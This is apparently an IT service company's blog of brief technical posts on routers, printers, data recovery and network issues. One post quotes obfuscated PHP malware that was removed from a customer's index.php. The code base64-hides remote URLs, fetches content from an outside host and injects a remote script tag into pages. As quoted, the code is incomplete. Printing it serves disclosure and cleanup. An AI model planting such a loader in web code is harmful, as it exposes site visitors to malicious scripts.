TOT using Carrier Grade NAT (RFC6598)

October 14th, 2014 No comments

For some months already TOT is using carrier-grade NAT (RFC6598) for the customers at Koh Phi Phi, making it impossible to use port forwarding for some remote access applications, like CCTV monitoring, router management etc.

Malware removal from the site

December 18th, 2013 No comments

Removed a malware from the customer’s website  today, customer was alerted by ESET NOD32 antivirus about malware presence on the page. This is the malicious code that was attached at the end of the index.php:

function sql2_safe($in) {
 $rtn = base64_decode($in);
 return $rtn;
function collectnewss() {
 if (!isset($_COOKIE["iJijkdaMnerys"])) {
 $value = 'yadeor';
 $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
 $file = @fopen ($get, "r");
 $content = @fread($file, 1000);
 @setcookie("iJijkdaMnerys", $value, time()+3600*24);
 if (!$content)
 echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY2NvdW50dXMuZ2V0cy1pdC5uZXQvZ29vZ2xlc3RhdC5waHAiPjwvc2NyaXB0Pg==");
 echo $content;
collectnewss ();

The first encrypted string contains the url “”, and the second string contains the script link: “<script src=””></script>”

Categories: Technical Tags: , , , ,

HP Pavilion tx2000 series (tx2150ef) spare parts for sale

March 2nd, 2013 No comments

The notebook has a broken motherboard, the rest should be working.


February 21st, 2013 No comments

Reconfiguring ViviPOS terminal at Phuket WakePark. Nice interface but the price is kinda wrong… The system is Ubuntu 8.04 based.

We added originally unsupported printer (Samsung ML-2540) to print reports to, implemented database backup to the cloud storage.

Using shared Epson TM-U210 receipt printer from Windows 7

December 21st, 2012 1 comment

You need to download Epson Advanced Printer Driver (APD) and install it. It seems that Epson TM-U210 and TM-U220 printers are fully compatible driver-wise, you can choose TM-U220 driver in the list. The installer does not support Windows shared printers, if you need to use one then install it with any local port setting and later swap the port to the needed one (like \\server1\epson) in the printer properties.

Time Capsule Recovery

December 1st, 2012 No comments

Finished recovery of ~100 000 deleted photos from the Time Capsule

Alcatel Lucent I-240G-Q Bridge Mode

November 9th, 2012 2 comments

Today found out how the bridge mode on this fiber optic router is set. The router has Cisco-like CLI interface.

Promise Pegasus R4 NAS RAID5 Recovery

September 22nd, 2012 No comments

Successfully completed the recovery of two HFS+ volumes off the malfunctioning Promise Pegasus R4 RAID5 array. Looks like it’s a common problem when this NAS kicks out a few drives out of the array and marks them as “Dead” for no apparent reason…

CAT Telecom supplies Zyxel Prestige routers from an old batch

May 12th, 2012 No comments

CAT Telecom still installs the Zyxel Prestige black routers that we believe are from a very old batch (I don’t think Zyxel makes these anymore). These routers have a known problem of  the capacitors degrading with time. Degradation probably happens even if the routers are sitting in stock unused. The symptoms are: random loss of LAN connections or random loss of ADSL connection. The router in question might work just fine when a single computer is connected, but lose connections when more devices are attached.

We just saw this problem with a router that a CAT technician brought in as “new”.

Here is the link to the fix of the problem, but of course it’s easier and cheaper to replace the router!

A1243 keyboard startup keys not working on iMac A1173

May 4th, 2012 No comments

Looks like a never USB Apple aluminum keyboard is not fully supported on older iMacs. It works fine inside the OS but not working on the booting stage. Ordinary USB PC keyboard did the job!